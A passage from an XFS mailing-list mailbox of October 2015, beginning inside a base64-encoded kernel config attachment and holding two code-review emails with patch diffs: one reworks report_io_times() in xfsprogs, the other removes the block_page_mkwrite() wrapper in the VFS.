RUJVR19TVEFUSUNfQ1BVX0hBUz15CkNPTkZJR19YODZfREVCVUdfRlBVPXkKQ09ORklHX1BVTklU X0FUT01fREVCVUc9eQoKIwojIFNlY3VyaXR5IG9wdGlvbnMKIwpDT05GSUdfS0VZUz15CiMgQ09O RklHX1BFUlNJU1RFTlRfS0VZUklOR1MgaXMgbm90IHNldAojIENPTkZJR19UUlVTVEVEX0tFWVMg aXMgbm90IHNldApDT05GSUdfRU5DUllQVEVEX0tFWVM9bQojIENPTkZJR19TRUNVUklUWV9ETUVT R19SRVNUUklDVCBpcyBub3Qgc2V0CkNPTkZJR19TRUNVUklUWUZTPXkKQ09ORklHX0lOVEVMX1RY VD15CkNPTkZJR19ERUZBVUxUX1NFQ1VSSVRZX0RBQz15CkNPTkZJR19ERUZBVUxUX1NFQ1VSSVRZ PSIiCkNPTkZJR19YT1JfQkxPQ0tTPW0KQ09ORklHX0FTWU5DX0NPUkU9bQpDT05GSUdfQVNZTkNf TUVNQ1BZPW0KQ09ORklHX0FTWU5DX1hPUj1tCkNPTkZJR19BU1lOQ19QUT1tCkNPTkZJR19BU1lO Q19SQUlENl9SRUNPVj1tCkNPTkZJR19DUllQVE89eQoKIwojIENyeXB0byBjb3JlIG9yIGhlbHBl cgojCkNPTkZJR19DUllQVE9fQUxHQVBJPXkKQ09ORklHX0NSWVBUT19BTEdBUEkyPXkKQ09ORklH X0NSWVBUT19BRUFEPXkKQ09ORklHX0NSWVBUT19BRUFEMj15CkNPTkZJR19DUllQVE9fQkxLQ0lQ SEVSPXkKQ09ORklHX0NSWVBUT19CTEtDSVBIRVIyPXkKQ09ORklHX0NSWVBUT19IQVNIPXkKQ09O RklHX0NSWVBUT19IQVNIMj15CkNPTkZJR19DUllQVE9fUk5HPW0KQ09ORklHX0NSWVBUT19STkcy PXkKQ09ORklHX0NSWVBUT19STkdfREVGQVVMVD1tCkNPTkZJR19DUllQVE9fUENPTVA9bQpDT05G SUdfQ1JZUFRPX1BDT01QMj15CkNPTkZJR19DUllQVE9fQUtDSVBIRVIyPXkKQ09ORklHX0NSWVBU T19BS0NJUEhFUj15CkNPTkZJR19DUllQVE9fUlNBPW0KQ09ORklHX0NSWVBUT19NQU5BR0VSPXkK Q09ORklHX0NSWVBUT19NQU5BR0VSMj15CkNPTkZJR19DUllQVE9fTUFOQUdFUl9ESVNBQkxFX1RF U1RTPXkKQ09ORklHX0NSWVBUT19HRjEyOE1VTD15CkNPTkZJR19DUllQVE9fTlVMTD15CkNPTkZJ R19DUllQVE9fTlVMTDI9eQpDT05GSUdfQ1JZUFRPX1dPUktRVUVVRT15CkNPTkZJR19DUllQVE9f Q1JZUFREPXkKQ09ORklHX0NSWVBUT19NQ1JZUFREPW0KQ09ORklHX0NSWVBUT19BVVRIRU5DPXkK IyBDT05GSUdfQ1JZUFRPX1RFU1QgaXMgbm90IHNldApDT05GSUdfQ1JZUFRPX0FCTEtfSEVMUEVS PXkKQ09ORklHX0NSWVBUT19HTFVFX0hFTFBFUl9YODY9eQoKIwojIEF1dGhlbnRpY2F0ZWQgRW5j cnlwdGlvbiB3aXRoIEFzc29jaWF0ZWQgRGF0YQojCkNPTkZJR19DUllQVE9fQ0NNPW0KQ09ORklH X0NSWVBUT19HQ009bQpDT05GSUdfQ1JZUFRPX0NIQUNIQTIwUE9MWTEzMDU9bQpDT05GSUdfQ1JZ UFRPX1NFUUlWPW0KIyBDT05GSUdfQ1JZUFRPX0VDSEFJTklWIGlzIG5vdCBzZXQKCiMKIyBCbG9j ayBtb2RlcwojCkNPTkZJR19DUllQVE9fQ0JDPW0KQ09ORklHX0NSWVBUT19DVFI9bQpDT05GSUdf Q1JZUFRPX0NUUz1tCkNPTkZJR19DUllQVE9fRUNCPXkKQ09ORklHX0NSWVBUT19MUlc9eQpDT05G SUdfQ1JZUFRPX1BDQkM9bQpDT05GSUdfQ1JZUFRPX1hUUz15CgojCiMgSGFzaCBtb2RlcwojCkNP TkZJR19DUllQVE9fQ01BQz1tCkNPTkZJR19DUllQVE9fSE1BQz15CkNPTkZJR19DUllQVE9fWENC Qz1tCkNPTkZJR19DUllQVE9fVk1BQz15CgojCiMgRGlnZXN0CiMKQ09ORklHX0NSWVBUT19DUkMz MkM9eQpDT05GSUdfQ1JZUFRPX0NSQzMyQ19JTlRFTD1tCiMgQ09ORklHX0NSWVBUT19DUkMzMiBp cyBub3Qgc2V0CkNPTkZJR19DUllQVE9fQ1JDMzJfUENMTVVMPW0KQ09ORklHX0NSWVBUT19DUkNU MTBESUY9eQojIENPTkZJR19DUllQVE9fQ1JDVDEwRElGX1BDTE1VTCBpcyBub3Qgc2V0CkNPTkZJ R19DUllQVE9fR0hBU0g9bQpDT05GSUdfQ1JZUFRPX1BPTFkxMzA1PXkKIyBDT05GSUdfQ1JZUFRP X1BPTFkxMzA1X1g4Nl82NCBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19NRDQgaXMgbm90IHNl dApDT05GSUdfQ1JZUFRPX01ENT15CiMgQ09ORklHX0NSWVBUT19NSUNIQUVMX01JQyBpcyBub3Qg c2V0CkNPTkZJR19DUllQVE9fUk1EMTI4PW0KQ09ORklHX0NSWVBUT19STUQxNjA9bQpDT05GSUdf Q1JZUFRPX1JNRDI1Nj1tCkNPTkZJR19DUllQVE9fUk1EMzIwPW0KQ09ORklHX0NSWVBUT19TSEEx PXkKQ09ORklHX0NSWVBUT19TSEExX1NTU0UzPW0KQ09ORklHX0NSWVBUT19TSEEyNTZfU1NTRTM9 eQpDT05GSUdfQ1JZUFRPX1NIQTUxMl9TU1NFMz15CkNPTkZJR19DUllQVE9fU0hBMV9NQj1tCkNP TkZJR19DUllQVE9fU0hBMjU2PXkKQ09ORklHX0NSWVBUT19TSEE1MTI9eQojIENPTkZJR19DUllQ VE9fVEdSMTkyIGlzIG5vdCBzZXQKQ09ORklHX0NSWVBUT19XUDUxMj15CkNPTkZJR19DUllQVE9f R0hBU0hfQ0xNVUxfTklfSU5URUw9bQoKIwojIENpcGhlcnMKIwpDT05GSUdfQ1JZUFRPX0FFUz15 CkNPTkZJR19DUllQVE9fQUVTX1g4Nl82ND15CiMgQ09ORklHX0NSWVBUT19BRVNfTklfSU5URUwg aXMgbm90IHNldAojIENPTkZJR19DUllQVE9fQU5VQklTIGlzIG5vdCBzZXQKQ09ORklHX0NSWVBU T19BUkM0PXkKQ09ORklHX0NSWVBUT19CTE9XRklTSD15CkNPTkZJR19DUllQVE9fQkxPV0ZJU0hf Q09NTU9OPXkKQ09ORklHX0NSWVBUT19CTE9XRklTSF9YODZfNjQ9eQojIENPTkZJR19DUllQVE9f Q0FNRUxMSUEgaXMgbm90IHNldApDT05GSUdfQ1JZUFRPX0NBTUVMTElBX1g4Nl82ND1tCkNPTkZJ R19DUllQVE9fQ0FNRUxMSUFfQUVTTklfQVZYX1g4Nl82ND1tCkNPTkZJR19DUllQVE9fQ0FNRUxM SUFfQUVTTklfQVZYMl9YODZfNjQ9bQpDT05GSUdfQ1JZUFRPX0NBU1RfQ09NTU9OPXkKQ09ORklH X0NSWVBUT19DQVNUNT15CkNPTkZJR19DUllQVE9fQ0FTVDVfQVZYX1g4Nl82ND15CkNPTkZJR19D UllQVE9fQ0FTVDY9bQojIENPTkZJR19DUllQVE9fQ0FTVDZfQVZYX1g4Nl82NCBpcyBub3Qgc2V0 CkNPTkZJR19DUllQVE9fREVTPW0KQ09ORklHX0NSWVBUT19ERVMzX0VERV9YODZfNjQ9bQojIENP TkZJR19DUllQVE9fRkNSWVBUIGlzIG5vdCBzZXQKQ09ORklHX0NSWVBUT19LSEFaQUQ9bQpDT05G SUdfQ1JZUFRPX1NBTFNBMjA9bQojIENPTkZJR19DUllQVE9fU0FMU0EyMF9YODZfNjQgaXMgbm90 IHNldApDT05GSUdfQ1JZUFRPX0NIQUNIQTIwPW0KQ09ORklHX0NSWVBUT19DSEFDSEEyMF9YODZf NjQ9bQojIENPTkZJR19DUllQVE9fU0VFRCBpcyBub3Qgc2V0CkNPTkZJR19DUllQVE9fU0VSUEVO VD15CkNPTkZJR19DUllQVE9fU0VSUEVOVF9TU0UyX1g4Nl82ND15CkNPTkZJR19DUllQVE9fU0VS UEVOVF9BVlhfWDg2XzY0PXkKQ09ORklHX0NSWVBUT19TRVJQRU5UX0FWWDJfWDg2XzY0PXkKIyBD T05GSUdfQ1JZUFRPX1RFQSBpcyBub3Qgc2V0CkNPTkZJR19DUllQVE9fVFdPRklTSD15CkNPTkZJ R19DUllQVE9fVFdPRklTSF9DT01NT049eQpDT05GSUdfQ1JZUFRPX1RXT0ZJU0hfWDg2XzY0PXkK Q09ORklHX0NSWVBUT19UV09GSVNIX1g4Nl82NF8zV0FZPXkKQ09ORklHX0NSWVBUT19UV09GSVNI X0FWWF9YODZfNjQ9eQoKIwojIENvbXByZXNzaW9uCiMKQ09ORklHX0NSWVBUT19ERUZMQVRFPW0K Q09ORklHX0NSWVBUT19aTElCPW0KQ09ORklHX0NSWVBUT19MWk89eQpDT05GSUdfQ1JZUFRPXzg0 Mj15CkNPTkZJR19DUllQVE9fTFo0PXkKIyBDT05GSUdfQ1JZUFRPX0xaNEhDIGlzIG5vdCBzZXQK CiMKIyBSYW5kb20gTnVtYmVyIEdlbmVyYXRpb24KIwpDT05GSUdfQ1JZUFRPX0FOU0lfQ1BSTkc9 bQpDT05GSUdfQ1JZUFRPX0RSQkdfTUVOVT1tCkNPTkZJR19DUllQVE9fRFJCR19ITUFDPXkKIyBD T05GSUdfQ1JZUFRPX0RSQkdfSEFTSCBpcyBub3Qgc2V0CkNPTkZJR19DUllQVE9fRFJCR19DVFI9 eQpDT05GSUdfQ1JZUFRPX0RSQkc9bQpDT05GSUdfQ1JZUFRPX0pJVFRFUkVOVFJPUFk9bQpDT05G SUdfQ1JZUFRPX0hBU0hfSU5GTz15CkNPTkZJR19DUllQVE9fSFc9eQojIENPTkZJR19DUllQVE9f REVWX1BBRExPQ0sgaXMgbm90IHNldAojIENPTkZJR19DUllQVE9fREVWX0NDUCBpcyBub3Qgc2V0 CkNPTkZJR19DUllQVE9fREVWX1FBVD15CkNPTkZJR19DUllQVE9fREVWX1FBVF9ESDg5NXhDQz15 CkNPTkZJR19DUllQVE9fREVWX1FBVF9ESDg5NXhDQ1ZGPW0KQ09ORklHX0FTWU1NRVRSSUNfS0VZ X1RZUEU9eQpDT05GSUdfQVNZTU1FVFJJQ19QVUJMSUNfS0VZX1NVQlRZUEU9eQpDT05GSUdfUFVC TElDX0tFWV9BTEdPX1JTQT15CkNPTkZJR19YNTA5X0NFUlRJRklDQVRFX1BBUlNFUj15CkNPTkZJ R19QS0NTN19NRVNTQUdFX1BBUlNFUj15CkNPTkZJR19QS0NTN19URVNUX0tFWT15CiMgQ09ORklH X1NJR05FRF9QRV9GSUxFX1ZFUklGSUNBVElPTiBpcyBub3Qgc2V0CgojCiMgQ2VydGlmaWNhdGVz IGZvciBzaWduYXR1cmUgY2hlY2tpbmcKIwpDT05GSUdfTU9EVUxFX1NJR19LRVk9ImNlcnRzL3Np Z25pbmdfa2V5LnBlbSIKQ09ORklHX1NZU1RFTV9UUlVTVEVEX0tFWVJJTkc9eQpDT05GSUdfU1lT VEVNX1RSVVNURURfS0VZUz0iIgpDT05GSUdfSEFWRV9LVk09eQpDT05GSUdfS1ZNX0NPTVBBVD15 CiMgQ09ORklHX1ZJUlRVQUxJWkFUSU9OIGlzIG5vdCBzZXQKQ09ORklHX0JJTkFSWV9QUklOVEY9 eQoKIwojIExpYnJhcnkgcm91dGluZXMKIwpDT05GSUdfUkFJRDZfUFE9bQpDT05GSUdfQklUUkVW RVJTRT15CiMgQ09ORklHX0hBVkVfQVJDSF9CSVRSRVZFUlNFIGlzIG5vdCBzZXQKQ09ORklHX1JB VElPTkFMPXkKQ09ORklHX0dFTkVSSUNfU1RSTkNQWV9GUk9NX1VTRVI9eQpDT05GSUdfR0VORVJJ Q19TVFJOTEVOX1VTRVI9eQpDT05GSUdfR0VORVJJQ19GSU5EX0ZJUlNUX0JJVD15CkNPTkZJR19H RU5FUklDX1BDSV9JT01BUD15CkNPTkZJR19HRU5FUklDX0lPTUFQPXkKQ09ORklHX0dFTkVSSUNf SU89eQpDT05GSUdfQVJDSF9VU0VfQ01QWENIR19MT0NLUkVGPXkKQ09ORklHX0FSQ0hfSEFTX0ZB U1RfTVVMVElQTElFUj15CkNPTkZJR19DUkNfQ0NJVFQ9bQpDT05GSUdfQ1JDMTY9eQpDT05GSUdf Q1JDX1QxMERJRj15CkNPTkZJR19DUkNfSVRVX1Q9eQpDT05GSUdfQ1JDMzI9eQojIENPTkZJR19D UkMzMl9TRUxGVEVTVCBpcyBub3Qgc2V0CkNPTkZJR19DUkMzMl9TTElDRUJZOD15CiMgQ09ORklH X0NSQzMyX1NMSUNFQlk0IGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JDMzJfU0FSV0FURSBpcyBub3Qg c2V0CiMgQ09ORklHX0NSQzMyX0JJVCBpcyBub3Qgc2V0CkNPTkZJR19DUkM3PW0KQ09ORklHX0xJ QkNSQzMyQz15CkNPTkZJR19DUkM4PW0KIyBDT05GSUdfQ1JDNjRfRUNNQSBpcyBub3Qgc2V0CiMg Q09ORklHX0FVRElUX0FSQ0hfQ09NUEFUX0dFTkVSSUMgaXMgbm90IHNldAojIENPTkZJR19SQU5E T00zMl9TRUxGVEVTVCBpcyBub3Qgc2V0CkNPTkZJR184NDJfQ09NUFJFU1M9eQpDT05GSUdfODQy X0RFQ09NUFJFU1M9eQpDT05GSUdfWkxJQl9JTkZMQVRFPXkKQ09ORklHX1pMSUJfREVGTEFURT15 CkNPTkZJR19MWk9fQ09NUFJFU1M9eQpDT05GSUdfTFpPX0RFQ09NUFJFU1M9eQpDT05GSUdfTFo0 X0NPTVBSRVNTPXkKQ09ORklHX0xaNF9ERUNPTVBSRVNTPXkKQ09ORklHX1haX0RFQz1tCkNPTkZJ R19YWl9ERUNfWDg2PXkKQ09ORklHX1haX0RFQ19QT1dFUlBDPXkKIyBDT05GSUdfWFpfREVDX0lB NjQgaXMgbm90IHNldApDT05GSUdfWFpfREVDX0FSTT15CiMgQ09ORklHX1haX0RFQ19BUk1USFVN QiBpcyBub3Qgc2V0CkNPTkZJR19YWl9ERUNfU1BBUkM9eQpDT05GSUdfWFpfREVDX0JDSj15CkNP TkZJR19YWl9ERUNfVEVTVD1tCkNPTkZJR19ERUNPTVBSRVNTX0daSVA9eQpDT05GSUdfREVDT01Q UkVTU19CWklQMj15CkNPTkZJR19HRU5FUklDX0FMTE9DQVRPUj15CkNPTkZJR19SRUVEX1NPTE9N T049bQpDT05GSUdfUkVFRF9TT0xPTU9OX0VOQzg9eQpDT05GSUdfUkVFRF9TT0xPTU9OX0RFQzg9 eQpDT05GSUdfQkNIPXkKQ09ORklHX0JDSF9DT05TVF9QQVJBTVM9eQpDT05GSUdfQlRSRUU9eQpD T05GSUdfQVNTT0NJQVRJVkVfQVJSQVk9eQpDT05GSUdfSEFTX0lPTUVNPXkKQ09ORklHX0hBU19J T1BPUlRfTUFQPXkKQ09ORklHX0hBU19ETUE9eQpDT05GSUdfR0xPQj15CiMgQ09ORklHX0dMT0Jf U0VMRlRFU1QgaXMgbm90IHNldApDT05GSUdfTkxBVFRSPXkKQ09ORklHX0FSQ0hfSEFTX0FUT01J QzY0X0RFQ19JRl9QT1NJVElWRT15CkNPTkZJR19DTFpfVEFCPXkKIyBDT05GSUdfQ09SRElDIGlz IG5vdCBzZXQKQ09ORklHX0REUj15CkNPTkZJR19NUElMSUI9eQpDT05GSUdfT0lEX1JFR0lTVFJZ PXkKQ09ORklHX1VDUzJfU1RSSU5HPXkKIyBDT05GSUdfU0dfU1BMSVQgaXMgbm90IHNldApDT05G SUdfQVJDSF9IQVNfU0dfQ0hBSU49eQpDT05GSUdfQVJDSF9IQVNfUE1FTV9BUEk9eQpDT05GSUdf QVJDSF9IQVNfTU1JT19GTFVTSD15Cg== --001a1143fc92e3739f0521ff1dc9-- From BATV+9a7ed768b5f2b241e97b+4433+infradead.org+hch@bombadil.srs.infradead.org Tue Oct 13 12:48:30 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 309397F37 for ; Tue, 13 Oct 2015 12:48:30 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0057A304032 for ; Tue, 13 Oct 2015 10:48:29 -0700 (PDT) X-ASG-Debug-ID: 1444758507-04bdf020dc102300001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id FWjBLVGrXjYrDh8w (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Tue, 13 Oct 2015 10:48:27 -0700 (PDT) X-Barracuda-Envelope-From: BATV+9a7ed768b5f2b241e97b+4433+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Zm3gZ-0000Nz-69; Tue, 13 Oct 2015 17:48:27 +0000 Date: Tue, 13 Oct 2015 10:48:27 -0700 From: Christoph Hellwig To: "Darrick J. Wong" Cc: david@fromorbit.com, xfs@oss.sgi.com Subject: Re: [PATCH 01/51] libxcmd: provide a common function to report command runtimes Message-ID: <20151013174827.GA31669@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 01/51] libxcmd: provide a common function to report command runtimes References: <20151007050513.1504.28089.stgit@birch.djwong.org> <20151007050520.1504.59073.stgit@birch.djwong.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151007050520.1504.59073.stgit@birch.djwong.org> User-Agent: Mutt/1.5.23 (2014-03-12) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1444758507 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23456 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Tue, Oct 06, 2015 at 10:05:20PM -0700, Darrick J. Wong wrote: > Refactor the open-coded runtime stats reporting into a library > command, then update xfs_io commands to use it. We need to pass the actual operation that we summarize, otherwise various tests are very unhappy: diff --git a/include/command.h b/include/command.h index 51dae6a..fb86f7a 100644 --- a/include/command.h +++ b/include/command.h @@ -58,8 +58,8 @@ extern void command_loop(void); extern int command_usage(const cmdinfo_t *ci); extern int command(const cmdinfo_t *ci, int argc, char **argv); -extern void report_io_times(struct timeval *t2, long long offset, - long long count, long long total, - int ops, int condensed); +extern void report_io_times(const char *op, struct timeval *t2, + long long offset, long long count, + long long total, int ops, int condensed); #endif /* __COMMAND_H__ */ diff --git a/io/pread.c b/io/pread.c index 66ea945..f16c86c 100644 --- a/io/pread.c +++ b/io/pread.c @@ -487,7 +487,7 @@ pread_f( gettimeofday(&t2, NULL); t2 = tsub(t2, t1); - report_io_times(&t2, (long long)offset, count, total, c, Cflag); + report_io_times("read", &t2, (long long)offset, count, total, c, Cflag); return 0; } diff --git a/io/pwrite.c b/io/pwrite.c index 81f6abe..f354de3 100644 --- a/io/pwrite.c +++ b/io/pwrite.c @@ -384,7 +384,7 @@ pwrite_f( gettimeofday(&t2, NULL); t2 = tsub(t2, t1); - report_io_times(&t2, (long long)offset, count, total, c, Cflag); + report_io_times("wrote", &t2, (long long)offset, count, total, c, Cflag); done: if (infile) close(fd); diff --git a/io/reflink.c b/io/reflink.c index 3572728..20007bf 100644 --- a/io/reflink.c +++ b/io/reflink.c @@ -161,7 +161,7 @@ dedupe_f( gettimeofday(&t2, NULL); t2 = tsub(t2, t1); - report_io_times(&t2, (long long)doffset, count, total, ops, condensed); + report_io_times("linked", &t2, (long long)doffset, count, total, ops, condensed); done: close(fd); return 0; @@ -284,7 +284,7 @@ clone_all: gettimeofday(&t2, NULL); t2 = tsub(t2, t1); - report_io_times(&t2, (long long)doffset, count, total, ops, condensed); + report_io_times("linked", &t2, (long long)doffset, count, total, ops, condensed); done: close(fd); return 0; diff --git a/io/sendfile.c b/io/sendfile.c index ced6369..21ab444 100644 --- a/io/sendfile.c +++ b/io/sendfile.c @@ -151,7 +151,7 @@ sendfile_f( gettimeofday(&t2, NULL); t2 = tsub(t2, t1); - report_io_times(&t2, (long long)offset, count, total, c, Cflag); + report_io_times("sent", &t2, (long long)offset, count, total, c, Cflag); done: if (infile) close(fd); diff --git a/libxcmd/command.c b/libxcmd/command.c index 5a5bb01..04f66de 100644 --- a/libxcmd/command.c +++ b/libxcmd/command.c @@ -195,6 +195,7 @@ command_loop(void) void report_io_times( + const char *op, struct timeval *t2, long long offset, long long count, @@ -208,8 +209,8 @@ report_io_times( if (!condensed) { cvtstr((double)total, s1, sizeof(s1)); cvtstr(tdiv((double)total, *t2), s2, sizeof(s2)); - printf(_("linked %lld/%lld bytes at offset %lld\n"), - total, count, (long long)offset); + printf(_("%s %lld/%lld bytes at offset %lld\n"), + op, total, count, (long long)offset); printf(_("%s, %d ops; %s (%s/sec and %.4f ops/sec)\n"), s1, ops, ts, s2, tdiv((double)ops, *t2)); } else {/* bytes,ops,time,bytes/sec,ops/sec */ From jack@suse.cz Tue Oct 13 12:53:18 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 564607F37 for ; Tue, 13 Oct 2015 12:53:18 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 146C7304039 for ; Tue, 13 Oct 2015 10:53:18 -0700 (PDT) X-ASG-Debug-ID: 1444758794-04bdf020da1026e0001-NocioJ Received: from mx2.suse.de (mx2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id o6BN9gJj8B4IudDO (version=TLSv1 cipher=ECDHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 13 Oct 2015 10:53:16 -0700 (PDT) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 X-Virus-Scanned: by amavisd-new at test-mx.suse.de Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 79F09ACEB; Tue, 13 Oct 2015 17:53:12 +0000 (UTC) Received: by quack.suse.cz (Postfix, from userid 1000) id BE1EA82827; Tue, 13 Oct 2015 19:53:10 +0200 (CEST) Date: Tue, 13 Oct 2015 19:53:10 +0200 From: Jan Kara To: Ross Zwisler Cc: linux-kernel@vger.kernel.org, Theodore Ts'o , Alexander Viro , Andreas Dilger , Dave Chinner , Ryusuke Konishi , linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nilfs@vger.kernel.org, xfs@oss.sgi.com, Jan Kara , Christoph Hellwig Subject: Re: [PATCH] vfs: remove unused wrapper block_page_mkwrite() Message-ID: <20151013175310.GB13268@quack.suse.cz> X-ASG-Orig-Subj: Re: [PATCH] vfs: remove unused wrapper block_page_mkwrite() References: <1444753180-27993-1-git-send-email-ross.zwisler@linux.intel.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1444753180-27993-1-git-send-email-ross.zwisler@linux.intel.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: mx2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1444758795 X-Barracuda-Encrypted: ECDHE-RSA-AES256-SHA X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23457 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue 13-10-15 10:19:40, Ross Zwisler wrote: > The function currently called "__block_page_mkwrite()" used to be called > "block_page_mkwrite()" until a wrapper for this function was added by: > > commit 24da4fab5a61 ("vfs: Create __block_page_mkwrite() helper passing > error values back") > > This wrapper, the current "block_page_mkwrite()", is currently unused. > __block_page_mkwrite() is used directly by ext4, nilfs2 and xfs. > > Remove the unused wrapper and rename __block_page_mkwrite() back to > block_page_mkwrite(). > > Signed-off-by: Ross Zwisler > Cc: Jan Kara > Cc: Christoph Hellwig > Cc: Al Viro Looks good. But can you please fix up comment before new block_page_mkwrite() to state sb_start_pagefault() - sb_end_pagefault() instead of sb_start_write() - sb_end_write? Thanks! You can add: Reviewed-by: Jan Kara Honza > --- > fs/buffer.c | 22 +--------------------- > fs/ext4/inode.c | 4 ++-- > fs/nilfs2/file.c | 2 +- > fs/xfs/xfs_file.c | 2 +- > include/linux/buffer_head.h | 2 -- > 5 files changed, 5 insertions(+), 27 deletions(-) > > diff --git a/fs/buffer.c b/fs/buffer.c > index 82283ab..7e496dc 100644 > --- a/fs/buffer.c > +++ b/fs/buffer.c > @@ -2422,7 +2422,7 @@ EXPORT_SYMBOL(block_commit_write); > * Direct callers of this function should protect against filesystem freezing > * using sb_start_write() - sb_end_write() functions. > */ > -int __block_page_mkwrite(struct vm_area_struct *vma, struct vm_fault *vmf, > +int block_page_mkwrite(struct vm_area_struct *vma, struct vm_fault *vmf, > get_block_t get_block) > { > struct page *page = vmf->page; > @@ -2459,26 +2459,6 @@ out_unlock: > unlock_page(page); > return ret; > } > -EXPORT_SYMBOL(__block_page_mkwrite); > - > -int block_page_mkwrite(struct vm_area_struct *vma, struct vm_fault *vmf, > - get_block_t get_block) > -{ > - int ret; > - struct super_block *sb = file_inode(vma->vm_file)->i_sb; > - > - sb_start_pagefault(sb); > - > - /* > - * Update file times before taking page lock. We may end up failing the > - * fault so this update may be superfluous but who really cares... > - */ > - file_update_time(vma->vm_file); > - > - ret = __block_page_mkwrite(vma, vmf, get_block); > - sb_end_pagefault(sb); > - return block_page_mkwrite_return(ret); > -} > EXPORT_SYMBOL(block_page_mkwrite); > > /* > diff --git a/fs/ext4/inode.c b/fs/ext4/inode.c > index 612fbcf..2d1ecd2 100644 > --- a/fs/ext4/inode.c > +++ b/fs/ext4/inode.c > @@ -5244,7 +5244,7 @@ int ext4_page_mkwrite(struct vm_area_struct *vma, struct vm_fault *vmf) > !ext4_should_journal_data(inode) && > !ext4_nonda_switch(inode->i_sb)) { > do { > - ret = __block_page_mkwrite(vma, vmf, > + ret = block_page_mkwrite(vma, vmf, > ext4_da_get_block_prep); > } while (ret == -ENOSPC && > ext4_should_retry_alloc(inode->i_sb, &retries)); > @@ -5291,7 +5291,7 @@ retry_alloc: > ret = VM_FAULT_SIGBUS; > goto out; > } > - ret = __block_page_mkwrite(vma, vmf, get_block); > + ret = block_page_mkwrite(vma, vmf, get_block); > if (!ret && ext4_should_journal_data(inode)) { > if (ext4_walk_page_buffers(handle, page_buffers(page), 0, > PAGE_CACHE_SIZE, NULL, do_journal_get_write_access)) { > diff --git a/fs/nilfs2/file.c b/fs/nilfs2/file.c > index 54575e3..088ba00 100644 > --- a/fs/nilfs2/file.c > +++ b/fs/nilfs2/file.c > @@ -109,7 +109,7 @@ static int nilfs_page_mkwrite(struct vm_area_struct *vma, struct vm_fault *vmf) > goto out; > > file_update_time(vma->vm_file); > - ret = __block_page_mkwrite(vma, vmf, nilfs_get_block); > + ret = block_page_mkwrite(vma, vmf, nilfs_get_block); > if (ret) { > nilfs_transaction_abort(inode->i_sb); > goto out; > diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c > index e78feb4..f80e90f 100644 > --- a/fs/xfs/xfs_file.c > +++ b/fs/xfs/xfs_file.c > @@ -1506,7 +1506,7 @@ xfs_filemap_page_mkwrite( > ret = __dax_mkwrite(vma, vmf, xfs_get_blocks_direct, > xfs_end_io_dax_write); > } else { > - ret = __block_page_mkwrite(vma, vmf, xfs_get_blocks); > + ret = block_page_mkwrite(vma, vmf, xfs_get_blocks); > ret = block_page_mkwrite_return(ret); > } > > diff --git a/include/linux/buffer_head.h b/include/linux/buffer_head.h > index e6797de..89d9aa9 100644 > --- a/include/linux/buffer_head.h > +++ b/include/linux/buffer_head.h > @@ -227,8 +227,6 @@ int cont_write_begin(struct file *, struct address_space *, loff_t, > get_block_t 